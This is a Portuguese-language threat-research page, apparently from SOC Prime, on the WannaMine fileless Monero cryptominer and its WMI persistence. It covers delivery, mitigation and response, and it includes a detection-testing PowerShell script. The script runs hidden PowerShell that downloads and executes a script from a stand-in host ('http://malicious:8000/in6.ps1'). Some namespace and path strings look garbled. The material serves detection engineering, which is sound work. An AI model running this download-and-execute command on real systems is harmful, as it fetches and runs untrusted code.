SOC Prime Bias: Crítico

14 Jan 2026 15:14 UTC

Análise do Cryptominer WannaMine: Execução e Persistência Sem Arquivos

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Seguir
Análise do Cryptominer WannaMine: Execução e Persistência Sem Arquivos
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

WannaMine é um worm de criptomineração sem arquivos que depende de ferramentas já existentes no sistema operacional—principalmente PowerShell e Instrumentação de Gerenciamento do Windows (WMI)—para permanecer residente em memória e minerar Monero.

Investigação

WannaMine é entregue através de e-mails de phishing contendo arquivos de lote maliciosos ou explorando a vulnerabilidade SMB EternalBlue. Para persistência, ele registra assinaturas de eventos WMI e armazena PowerShell codificado em classes WMI personalizadas.

Mitigação do WannaMine

Previna a exploração do EternalBlue aplicando patches no SMB (MS17-010). Restrinja a execução e monitoramento do PowerShell, observe a criação incomum de classes WMI e consumidores de eventos, e aplique o princípio de privilégio mínimo para limitar o uso indevido de credenciais.

Resposta

Alerte sobre comportamentos anormais de PowerShell/WMI, isole os hosts impactados, remova consumidores/assinaturas de eventos WMI maliciosos, rotacione credenciais potencialmente expostas e realize uma análise de memória para confirmar o minerador em memória.

Fluxo de Ataque

Execução de Simulação

Pré-requisito: A Verificação de Telemetria & Linha de Base deve ter sido concluída com sucesso.

Justificativa: Esta seção detalha a execução precisa da técnica de adversário (TTP) projetada para ativar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e têm como objetivo gerar a telemetria exata esperada pela lógica de detecção.

  • Narrativa & Comandos do Ataque:
    Um atacante obtém execução remota de código em um endpoint Windows. Para evitar interação do usuário, eles lançam o PowerShell em uma janela oculta (-W Hidden) sem perfil (-NoP) e não interativo (-NonI). O comando usa IEX para baixar uma carga PowerShell de um servidor HTTP malicioso (http://malicious:8000/in6.ps1). O script baixado registra uma classe WMI chamada Office_Updater sob rootdefault que armazena uma propriedade mon contendo um minerador Monero codificado em Base64. O atacante então lê a propriedade via [WmiClass] e a invoca, lançando efetivamente o criptominador sem criar um novo processo. Esta sequência corresponde às três substrings de linha de comando da regra de detecção.

  • Script de Teste de Regressão:

    #-------------------------------------------------
    # Simular execução de criptominador sem arquivos WannaMine
    #-------------------------------------------------
    $maliciousServer = "http://malicious:8000"
    $payloadPath     = "$maliciousServer/in6.ps1"
    
    # 1. Execução do PowerShell oculto e não interativo
    $cmd = "-NoP -NonI -W Hidden " +
           "IEX(New-Object Net.WebClient).DownloadString('$payloadPath'); " +
           "`$mon = ([WmiClass] 'rootdefault:Office_Updater').Properties['mon'].Value"
    
    # Invocar o comando (isto é o que o atacante executaria)
    Start-Process -FilePath "powershell.exe" -ArgumentList $cmd -WindowStyle Hidden -NoNewWindow
    
    # Nota: Pressupõe-se que o script remoto (in6.ps1) cria a classe WMI
    # com uma propriedade "mon" contendo o código de mineração.
  • Comandos de Limpeza:

    # Remover a classe WMI maliciosa
    Get-WmiObject -Namespace "rootdefault" -Class "Office_Updater" | Remove-WmiObject -ErrorAction SilentlyContinue
    
    # Parar quaisquer processos PowerShell mineradores restantes (se algum foi lançado)
    Get-Process -Name "powershell" -ErrorAction SilentlyContinue |
        Where-Object {$_.CommandLine -match "mon"} |
        Stop-Process -Force
    
    # Opcional: Limpar arquivos de transcrição/log do PowerShell criados durante o teste
    Remove-Item -Path "$env:LOCALAPPDATAMicrosoftWindowsPowerShellTrace*" -Force -ErrorAction SilentlyContinue